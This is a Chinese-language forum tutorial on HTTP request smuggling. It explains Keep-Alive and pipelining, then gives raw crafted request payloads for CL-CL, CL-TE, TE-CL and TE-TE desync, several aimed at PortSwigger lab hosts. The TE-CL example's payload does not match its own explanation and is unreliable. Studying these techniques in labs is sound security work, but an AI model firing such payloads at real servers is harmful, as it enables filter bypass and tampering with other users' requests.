taibeihacker
Moderator
HTTP 请求走私
1 前言
1.1 Keep-Alive
在HTTP 1.0 之前的協議設計中,客戶端每進行一次HTTP 請求,就需要同服務器建立一個TCP 鏈接。而現代的Web 網站頁面是由多種資源組成的,我們要獲取一個網頁的內容,不僅要請求HTML 文檔,還有JS、CSS、圖片等各種各樣的資源,這樣如果按照之前的協議設計,就會導致HTTP 服務器的負載開銷增大。於是在HTTP 1.1 中,增加了Keep-Alive 和Pipeline 這兩個特性。Keep-Alive 是什麼?就是在HTTP 請求中增加一個特殊的請求頭Connection: Keep-Alive,告訴服務器,接收完這次HTTP 請求後,不要關閉TCP 鏈接,後面對相同目標服務器的HTTP 請求,重用這一個TCP 鏈接,這樣只需要進行一次TCP 握手的過程,可以減少服務器的開銷,節約資源,還能加快訪問速度。當然,這個特性在HTTP 1.1 中是默認開啟的。
1.2 Pipeline
有了Keep-Alive 之後,後續就有了Pipeline,在這裡呢,客戶端可以像流水線一樣發送自己的HTTP 請求,而不需要等待服務器的響應,服務器那邊接收到請求後,需要遵循先入先出機制,將請求和響應嚴格對應起來,再將響應發送給客戶端。現在,瀏覽器默認是不啟用Pipeline 的,但是一般的服務器都提供了對Pipeline 的支持。
1.3 原理
反向代理服務器與後端的源站服務器之間,會重用TCP 鏈接,因為代理服務器與後端的源站服務器的IP 地址是相對固定,不同用戶的請求通過代理服務器與源站服務器建立鏈接,所以就順理成章了。但是由於兩者服務器的實現方式不同,如果用戶提交模糊的請求可能代理服務器認為這是一個HTTP 請求,然後將其轉發給了後端的源站服務器,但源站服務器經過解析處理後,只認為其中的一部分為正常請求,剩下的那一部分就是走私的請求了,這就是HTTP 走私請求的由來。
HTTP 請求走私漏洞的原因是由於HTTP 規範提供了兩種不同方式來指定請求的結束位置,它們是Content-Length 標頭和Transfer-Encoding 標頭,Content-Length 標頭簡單明了,它以字節為單位指定消息內容體的長度。
Transfer-Encoding 標頭用於指定消息體使用分塊編碼(Chunked Encode),也就是說消息報文由一個或多個數據塊組成,每個數據塊大小以字節為單位(十六進製表示) 衡量,後跟換行符,然後是塊內容,最重要的是:整個消息體以大小為0 的塊結束,也就是說解析遇到0 數據塊就結束。如:
1
2
3
4
5
6
7
8
9
POST/HTTP/1.1
Host: ac6f1ff11e5c7d4e806912d000080058.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
a=11
0
其實理解起來真的很簡單,相當於我發送請求,包含Content-Length,前端服務器解析後沒有問題發送給後端服務器,但是我在請求時後面還包含了Transfer-Encoding,這樣後端服務器進行解析便可執行我寫在下面的一些命令,這樣便可以繞過前端的waf。
2 实例
2.1 CL 不为 0 的 GET 请求
假設前端代理服務器允許GET 請求攜帶請求體,而後端服務器不允許GET 請求攜帶請求體,它會直接忽略掉GET 請求中的Content-Length 頭,不進行處理。這就有可能導致請求走私。比如我們構造請求:
1
2
3
4
5
6
7
GET/HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n
GET/secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
前端服務器收到該請求,通過讀取Content-Length,判斷這是一個完整的請求,然後轉發給後端服務器,而後端服務器收到後,因為它不對Content-Length 進行處理,由於Pipeline 的存在,它就認為這是收到了兩個請求,分別是
1
2
3
4
5
6
7
# 第一個
GET/HTTP/1.1\r\n
Host: example.com\r\n
# 第二個
GET /secret HTTP/1.1\r\n
Host: example.com\r\n
2.2 CL-CL
在RFC7230 的第3.3.3 節中的第四條中,規定當服務器收到的請求中包含兩個Content-Length,而且兩者的值不同時,需要返回400 錯誤。但是總有服務器不會嚴格的實現該規範,假設中間的代理服務器和後端的源站服務器在收到類似的請求時,都不會返回400 錯誤,但是中間代理服務器按照第一個Content-Length 的值對請求進行處理,而後端源站服務器按照第二個Content-Length 的值進行處理。
此時惡意攻擊者可以構造一個特殊的請求:
1
2
3
4
5
6
7
POST/HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
中間代理服務器獲取到的數據包的長度為8,將上述整個數據包原封不動的轉發給後端的源站服務器,而後端服務器獲取到的數據包長度為7。當讀取完前7個字符後,後端服務器認為已經讀取完畢,然後生成對應的響應,發送出去。而此時的緩衝區去還剩餘一個字母a,對於後端服務器來說,這個a 是下一個請求的一部分,但是還沒有傳輸完畢。此時恰巧有一個其它的正常用戶對服務器進行了請求,假設請求如圖所示:
1
2
GET /index.html HTTP/1.1\r\n
Host: example.com\r\n
從前面我們也知道了,代理服務器與源站服務器之間一般會重用TCP 連接。
這時候正常用戶的請求就拼接到了字母a 的後面,當後端服務器接收完畢後,它實際處理的請求其實是:
1
2
aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n
這時候用戶就會收到一個類似於aGET request method not found 的報錯。這樣就實現了一次HTTP 走私攻擊,而且還對正常用戶的行為造成了影響,而且後續可以擴展成類似於CSRF 的攻擊方式。
但是兩個Content-Length 這種請求包還是太過於理想化了,一般的服務器都不會接受這種存在兩個請求頭的請求包。但是在RFC2616 的第4.4 節中,規定:如果收到同時存在Content-Length 和Transfer-Encoding 這兩個請求頭的請求包時,在處理的時候必須忽略Content-Length,這其實也就意味著請求包中同時包含這兩個請求頭並不算違規,服務器也不需要返回400 錯誤。服務器在這裡的實現更容易出問題。
2.3 CL-TE
所謂CL-TE,就是當收到存在兩個請求頭的請求包時,前端代理服務器只處理Content-Length 這一請求頭,而後端服務器會遵守RFC2616 的規定,忽略掉Content-Length,處理Transfer-Encoding 這一請求頭。chunk 傳輸數據格式如下,其中size 的值由16 進製表示。
Lab 地址:https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
構造數據包:
1
2
3
4
5
6
7
8
9
10
11
12
POST/HTTP/1.1\r\n
Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G
連續發送幾次請求就可以獲得該響應:

2.4 TE-CL
所謂TE-CL,就是當收到存在兩個請求頭的請求包時,前端代理服務器處理Transfer-Encoding 這一請求頭,而後端服務器處理Content-Length 請求頭。Lab地址:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
構造數據包:
1
2
3
4
5
6
7
8
9
10
11
12
13
POST/HTTP/1.1\r\n
Host: ac041f531eabd0cd804edb62000c0025.web-security-academy.net\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST/HTTP/1.1\r\n
\r\n
0\r\n
\r\n

由於前端服務器處理Transfer-Encoding,當其讀取到0\r\n\r\n時,認為是讀取完畢了,此時這個請求對代理服務器來說是一個完整的請求,然後轉發給後端服務器,後端服務器處理Content-Length 請求頭,當它讀取完5c\r\n 之後,就認為這個請求已經結束了,後面的數據就認為是另一個請求了,也就是:
1
2
3
4
5
6
GPOST/HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
2.5 TE-TE
TE-TE,也很容易理解,當收到存在兩個請求頭的請求包時,前後端服務器都處理Transfer-Encoding 請求頭,這確實是實現了RFC 的標準。不過前後端服務器畢竟不是同一種,這就有了一種方法,我們可以對發送的請求包中的Transfer-Encoding 進行某種混淆操作,從而使其中一個服務器不處理Transfer-Encoding 請求頭。從某種意義上還是CL-TE 或者TE-CL。Lab地址:https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
構造數據包:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST/HTTP/1.1\r\n
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST/HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
